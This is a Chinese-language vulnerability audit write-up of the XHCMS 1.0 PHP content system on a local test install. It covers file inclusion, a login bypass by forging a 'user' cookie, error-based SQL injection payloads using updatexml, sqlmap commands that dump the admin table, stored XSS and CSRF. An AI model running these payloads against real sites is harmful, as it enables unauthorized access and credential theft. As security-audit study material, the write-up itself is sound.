XHCMS 1.0 审计
安装环境:
PHP 5.2.17
apache 2.4.23
MySQL 5.5.53
xhcms 1.0
1.先检查重装漏洞
结果作了限制,无。
2.本地文件包含漏洞
将源码通过seay fuzz审计,发现在index.php页面:
<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include('files/'.$action.'.php'); //载入相应文件
?>
可以看到对于'r'仅仅通过addslashes()函数过滤。而addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
- 单引号(')
- 双引号(")
- 反斜杠(\)
- NULL
最后include包含files/下的文件。这里包含根目录下的d.txt文件。由于转义函数存在,无法适用%00截断,尝试. ./截断:
成功绕过限制进而包含。
后台首页文件包含xxx/admin/index.php此处同理:
3.垂直越权漏洞
在访问xxx/admin/index.php时候会自动跳转xxx/admin/index.php?r=login,明显的是admin/index.php是后台管理首页,但是访问的时候,r后边自动跟进login,而不是index.php。前边看了r后边包含都是files/目录下,所以这里看下files/index.php:
<?php
require '../inc/checklogin.php';
require '../inc/conn.php';
$indexopen='class="open"';
?>
可以看到适用了checklogin.php文件进行登录权限检测,如果通过了就直接登录,而不通过则自动跟进login.php。
所以这里的逻辑关系是访问admin/index.php,判断r为空,所以传入?r=index.php,但是由于权限检测不通过,随机自动跳转login.php。所有这里需要看看checklogin.php
<?php
$user=$_COOKIE['user'];
if ($user==""){
header("Location: ?r=login");
exit;
}
?>
接受一个以user为名的cookie,如果不为空则直接登录,则这可以存在垂直越权,构造一个user=随意字符,不为空的就行的cookie,即可登录成功:
4.SQL注入1
上边追到files/login.php还没看,所以看看
$query = "SELECT * FROM manage WHERE user='$user'";
直接拼接了变量,存在SQL注入。尝试万能密码 admin' or '1'='1 但是结果还是跳转login.php,继续看看下边的代码,发现:
if(md5($password)<>$passwords){
echo "<Script language=JavaScript>alert('抱歉,用户名或者密码错误。');history.back();</Script>";
exit;
}
进行了密码散列值比对,所以万能密码不能用。但是并没有加error_reporting(0); //关闭错误显示,随机试试报错注入:
报错了啊有搞头,开始撸它。
查看数据库版本
admin' or updatexml(0x7e,concat(0x7e,(select version()),0x7e),0x7e)#
查看数据库名字
admin' or updatexml(0x7e,concat(0x7e,(select database()),0x7e),0x7e)#
查看数据库表名
admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 0,1),0x7e),0x7e)#
admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 1,1),0x7e),0x7e)#
admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 2,1),0x7e),0x7e)#
admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 3,1),0x7e),0x7e)#
admin' or updatexml(0x7e,concat(0x7e,(select table_name from information_schema.tables where table_schema='xhcms' limit 4,1),0x7e),0x7e)#
顶不住了sqlmap梭哈了……
而针对表单的sqlmap测试方法有三种:
- burpsuite抓取文件 sqlmap -r post.txt -p user --dbs -r指定文件,-p指定参数
- --forms自动搜索表单 sqlmap -u xxx/admin/index.php?r=login --forms -D xhcms -tables
- --data指定参数 sqlmap -u xxx/admin/index.php?r=login --data "user=1" -D xhcms -tables
测试第三种最快,结果如下:
猜测manage表里有货,sqlmap -u xxx/admin/index.php?r=login --forms -D xhcms -T manage -columns
查看name&password
sqlmap -u xxx/xhcms/admin/index.php?r=login --forms -D xhcms -T manage -C name,password --dump
解密 admin-admin
接着看其他的sql注入提示:
可以看到基本上采用了addslashes($_POST[''])防御,且不存在GBK编码的,无法利用宽字节注入,基本可以判断为误报。
SQL注入2
功夫不到家,只能挨着看下去,到editcolumn.php了:
测试 存在sql注入 /admin/?r=editcolumn&type=1&id=1' or updatexml(0x7e,concat(0x7e,(select version()),0x7e),0x7e)--+
另外如果是sqlmap爆破多个参数的时候不要忘记url加双引号后,可以在相应参数后设置*提高优先级,也可以使用上边提到的三种方式进行指定参数
SQL注入3
再看editlink.php
测试存在SQL注入
/admin/?r=editlink&type=1&id=1' or updatexml(0x7e,concat(0x7e,(select version()),0x7e),0x7e)--+
SQL注入4
测试存在SQL注入
/admin/?r=editsoft&type=1&id=1' or updatexml(0x7e,concat(0x7e,(select version()),0x7e),0x7e)--+
SQL注入5
测试存在SQL注入
4.存储型XSS
看到
但是这里htmlspecialchars()html实体编码了,无法xss利用。
再看通过功能点查看各处用户评论:
不知道为啥评论不了,检查了安装过程也没发现问题……
再去登录admin的留言板回复功能处看是否可以XSS:
退出admin账户,使用用户身份浏览成功xss:
5.CSRF
从功能点触发,看到可以删除评论操作,是不是可以CSRF呢?利用burpsuite的CSRF poc功能试试。
前提是admin登录状态,直接跨站请求伪造进行删除操作